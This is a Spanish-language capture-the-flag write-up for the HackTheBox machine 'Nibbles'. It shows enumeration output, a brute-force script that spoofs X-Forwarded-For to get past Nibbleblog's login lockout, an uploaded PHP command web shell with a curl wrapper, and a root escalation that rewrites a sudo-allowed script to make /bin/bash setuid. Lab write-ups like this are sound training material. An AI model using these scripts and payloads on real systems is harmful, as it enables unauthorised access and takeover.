Skip to content

Nibbles

Difficulty : Easy
Operating System : Linux
Rating : 3.8
Author : mrb3n

Description

Esta maquina es bastante sencilla aunque me ha resultado divertida porque me ha obligado a crear un script personalizado para la primera parte de la intrusion. La escalada hacia el usuario root resulto ser excesivamente sencilla y algo aburrida.

Enumeration

Para la enumeracion basica vamos a utilizar una tool que he desarrollado especificamente para trabajar con maquinas en la plataforma hackthebox. Esta herramienta crea la carpeta de trabajo, realiza un escaneo basico con nmap y si encuentra un servicio web le lanza una enumeracion basica.

Descarga: HTBenum

Nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Whatweb

http://nibbles.htb [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.253.93]

HTTP Headers

HTTP/1.1 200 OK
Date: Tue, 09 Nov 2021 12:43:13 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Thu, 28 Dec 2017 20:19:50 GMT
ETag: "5d-5616c3cf7fa77"
Accept-Ranges: bytes
Content-Length: 93
Vary: Accept-Encoding
Content-Type: text/html

ffuz

CODE
Nikto
- Nikto v2.1.6/2.1.5
+ Target Host: nibbles.htb
+ Target Port: 80
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ HEAD Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.46). Apache 2.2.34 is the EOL for the 2.x branch.
+ GET Server may leak inodes via ETags, header found with file /, inode: 5d, size: 5616c3cf7fa77, mtime: gzip
+ OPTIONS Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: GET /icons/README: Apache default file found.

User Own

Al visitar la web principal de la maquina objetivo obtenemos solamente la entrada "Hello World!" , pero revisando el codigo fuente obtenemos un directorio mas interesante

[root@htb nibbles]# curl http://nibbles.htb
<b>Hello world!</b>

<!-- /nibbleblog/ directory. Nothing interesting here! -->
Whatweb nos devuelve..
http://nibbles.htb/nibbleblog/ [200 OK] Apache[2.4.18], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.253.93], JQuery, MetaGenerator[Nibbleblog], PoweredBy[Nibbleblog], Script, Title[Nibbles - Yum yum]
Y le tiro ffuf
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nibbles.htb/nibbleblog/FUZZ/
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

content                 [Status: 200, Size: 1353, Words: 88, Lines: 19]
themes                  [Status: 200, Size: 1741, Words: 112, Lines: 21]
admin                   [Status: 200, Size: 2127, Words: 136, Lines: 23]
plugins                 [Status: 200, Size: 3777, Words: 232, Lines: 31]
languages               [Status: 200, Size: 3167, Words: 208, Lines: 28]
Lanzo tambien un ffuf sobre la extension .php
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nibbles.htb/nibbleblog/FUZZ.php
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

feed                    [Status: 200, Size: 302, Words: 8, Lines: 8]
sitemap                 [Status: 200, Size: 402, Words: 33, Lines: 11]
admin                   [Status: 200, Size: 1401, Words: 79, Lines: 27]
index                   [Status: 200, Size: 2987, Words: 116, Lines: 61]
install                 [Status: 200, Size: 78, Words: 11, Lines: 1]
update                  [Status: 200, Size: 1622, Words: 103, Lines: 88]

Con estos datos podemos ver dos archivos interesantes: admin.php que nos llevara a un panel de administracion y update.php que nos dara informacion de archivos sensibles

La funcion update.php finalmente no resulta ser de interes, pero nos lleva a un directorio donde se encuentra un fichero que si lo es: http://nibbles.htb/nibbleblog/content/private/users.xml y encuentro un usuario : admin

Sabiendo que existe un usuario llamado admin me dispongo a probar varias contraseñas aleatorias en http://nibbles.htb/nibbleblog/admin.php con la intencion de entrar con credenciales por defecto.. pero tras unos cuantos intentos obtengo un error y un baneo

Ojeando los archivos disponibles en las urls que obtuvimos con ffuf, encuentro la funcion que bloquea los intentos fallidos de login en la ruta http://nibbles.htb/nibbleblog/admin/boot/rules/3-variables.bit y veo que las ips son bloqueadas tras 5 intentos fallidos por un tiempo de 5 minutos

Tambien podemos ver almacenados la ip y los intentos fallidos en el archivo http://nibbles.htb/nibbleblog/content/private/users.xml

Llegados a este punto, mi intencion es hacer bruteforce a la ruta http://nibbles.htb/nibbleblog/admin.php saltandome el bloqueo por ip.
Primero necesito ver como se hace el POST del login para reproducirlo por consola. Para este cometido voy a utilizar burp

Sabiendo que se utiliza una autenticacion basica, puedo reproducirla con curl

[root@htb nibbles]# curl -d 'username=admin&password=pruebaa' -L http://nibbles.htb/nibbleblog/admin.php
<!DOCTYPE HTML>
<html>
<head>
        <meta charset="utf-8">
        <meta name='robots' content='noindex,nofollow' />

        <title>Nibbleblog</title>

        <link rel="stylesheet" type="text/css" href="/nibbleblog/admin/templates/default/css/normalize.css" />
        <link rel="stylesheet" type="text/css" href="/nibbleblog/admin/templates/login/css/main.css" />

        <!-- Javascript -->
        <script charset="utf-8" src="/nibbleblog/admin/js/system.php"></script>
        <script charset="utf-8" src="/nibbleblog/admin/js/functions.js"></script>

        <!-- FAVICON -->
        <link rel="shortcut icon" href="/nibbleblog/admin/templates/default/css/img/favicon.ico" type="image/x-icon" />
</head>
<body>

        <div id="container">

                <div class="title">Sign in to Nibbleblog admin area</div><div id="alert">Incorrect username or password. <a href="/nibbleblog/admin.php?controller=user&action=send_forgot">Forgot password</a></div><form id="js_form" name="form" method="post"  ><div class="form_block" ><input class="username" name="username" type="text" placeholder="Username" autocomplete="off" maxlength="254" /></div><div class="form_block" ><input class="password" name="password" type="password" placeholder="Password" autocomplete="off" maxlength="254" /></div><div class="form_block" ><input type="checkbox" id="js_remember" name="remember" class="float"  value="1"/><label class="for_checkbox remember" for="js_remember" >Remember me</label><input type="submit" class="save" value="Login" /></div></form><a class="back" href="/nibbleblog/" >&larr;Back to blog</a>
        </div>

</body>

Para sortear el bloqueo de ip con curl podemos hacer uso del header X-Forwarded-For que nos permitira hacer spoof con la ip que nosotros queramos

[root@htb nibbles]# curl --header "X-Forwarded-For: 10.10.10.254" -d 'username=admin&password=pruebaa' -L http://nibbles.htb/nibbleblog/admin.php
<!DOCTYPE HTML>
<html>
<head>
        <meta charset="utf-8">
        <meta name='robots' content='noindex,nofollow' />

        <title>Nibbleblog</title>

        <link rel="stylesheet" type="text/css" href="/nibbleblog/admin/templates/default/css/normalize.css" />
        <link rel="stylesheet" type="text/css" href="/nibbleblog/admin/templates/login/css/main.css" />

        <!-- Javascript -->
        <script charset="utf-8" src="/nibbleblog/admin/js/system.php"></script>
        <script charset="utf-8" src="/nibbleblog/admin/js/functions.js"></script>

        <!-- FAVICON -->
        <link rel="shortcut icon" href="/nibbleblog/admin/templates/default/css/img/favicon.ico" type="image/x-icon" />
</head>
<body>

        <div id="container">

                <div class="title">Sign in to Nibbleblog admin area</div><div id="alert">Incorrect username or password. <a href="/nibbleblog/admin.php?controller=user&action=send_forgot">Forgot password</a></div><form id="js_form" name="form" method="post"  ><div class="form_block" ><input class="username" name="username" type="text" placeholder="Username" autocomplete="off" maxlength="254" /></div><div class="form_block" ><input class="password" name="password" type="password" placeholder="Password" autocomplete="off" maxlength="254" /></div><div class="form_block" ><input type="checkbox" id="js_remember" name="remember" class="float"  value="1"/><label class="for_checkbox remember" for="js_remember" >Remember me</label><input type="submit" class="save" value="Login" /></div></form><a class="back" href="/nibbleblog/" >&larr;Back to blog</a>
        </div>

</body>

Pues con toda la informacion recopilada hasta ahora, voy a construir un script para hacer fuerza bruta tirando del diccionario rockyou.txt , utilizando ips aleatorias para pasar el parametro X-Forwarded-For y que de por buena cualquier password que no devuelva la palabra Incorrect en la respuesta del servidor

brute.sh

#!/bin/bash
trap 'rm -rf "$TMPFILE"' EXIT

#Variables
ROCKYOU="/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt"
TMPFILE=$(mktemp)

#Function
brute(){
for i in $(cat $ROCKYOU);do
local IP=$(( $RANDOM % 255 )).$(( $RANDOM % 255 )).$(( $RANDOM % 255 )).$(( $RANDOM % 255 ))

curl -s --header "X-Forwarded-For: $IP" -d 'username=admin&password='$i'' -L http://nibbles.htb/nibbleblog/admin.php > $TMPFILE
if cat $TMPFILE | grep -qi "Incorrect"; then
        :
else
        echo "Password Found!!: $i"
        exit 1
fi
done
}

#RunAway
brute
[root@htb nibbles]# time ./brute.sh
Password Found!!: nibbles

real    19m22,121s
user    0m44,332s
sys     6m58,953s
admin
nibbles

Una vez logeado en el dashboard, mi intencion es buscar alguna funcion con la que pueda hacer un upload, para subir una webshell y escalar privilegios. Despues de buscar un rato y probar varias funciones encuentro un plugin llamado about que me permite subir una imagen, voy a probar a subir un fichero .pht con un codigo malicioso...

Primero subo una imagen jpg para encontrar la ruta donde se almacenan los archivos subidos

Ahora voy a subir el siguiente codigo con el nombre cmd.pht

<?php
 if(isset($_REQUEST['cmd'])){
   $cmd = ($_REQUEST["cmd"]);
   system($cmd);
   die;}
 ?>

La ruta es : http://nibbles.htb/nibbleblog/content/private/plugins/about/profile_picture.pht
Ahora voy a llamarlo con una "fakeshell" para trabajar un poco mas comodo con la shell

fakeshell.sh

#!/usr/bin/env bash

URL="http://nibbles.htb/nibbleblog/content/private/plugins/about/profile_picture.pht"

while true;do
        echo -n "$ " && read -r command
        curl -s -G ${URL} --data-urlencode "cmd=$command"
done
[root@htb nibbles]# ./fakeshell.sh
$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

Para escalar privilegios voy a necesitar una shell interactiva, por lo que voy a subir al servidor una rshell en perl y le voy a aplicar un tratamiento de la tty para trabajar con ella

Para realizar un tratamiento de la tty haremos lo siguiente:

python3 -c 'import pty; pty.spawn("/bin/bash")'
* Presionamos CTRL+Z para enviar el netcat a segundo plano.
stty raw -echo
fg
reset
Terminal type? xterm
stty rows 51 columns 161 # en mi caso, para ver otro escribe: stty -a (en cualquier terminal de escritorio)
export TERM=xterm;export SHELL=bash

Ahora que tengo una terminal decente, puedo ver la flag en la carpeta home del usuario y continuar con la escalada

nibbler@Nibbles:/home/nibbler$ ls -alt
total 20
-r-------- 1 nibbler nibbler   33 Nov 10 05:13 user.txt
drwxr-xr-x 3 nibbler nibbler 4096 Dec 29  2017 .
-rw------- 1 nibbler nibbler    0 Dec 29  2017 .bash_history
-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
drwxrwxr-x 2 nibbler nibbler 4096 Dec 10  2017 .nano
drwxr-xr-x 3 root    root    4096 Dec 10  2017 ..

Root Own

Siguiendo con la escalada hacia el usuario root veo que hay un archivo llamado personal.zip lo descomprimo y veo que tengo permisos en sudoers para llamar a un script dentro de la ruta donde se ha descomprimido el zip

nibbler@Nibbles:/home/nibbler$ unzip personal.zip
Archive:  personal.zip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Como en principio tengo permisos para ejecutar cualquier script en esa ruta con el nombre monitor.sh no me interesa el script descomprimido, lo elimino y creo uno que setee el bit setuid a /bin/bash para ejecutarlo despues con sudo

nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
#!/bin/bash
chmod 4755 /bin/bash

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ /bin/bash -p
bash-4.3# id
uid=1001(nibbler) gid=1001(nibbler) euid=0(root) groups=1001(nibbler)
bash-4.3# ls /root/
root.txt
bash-4.3#

Back to top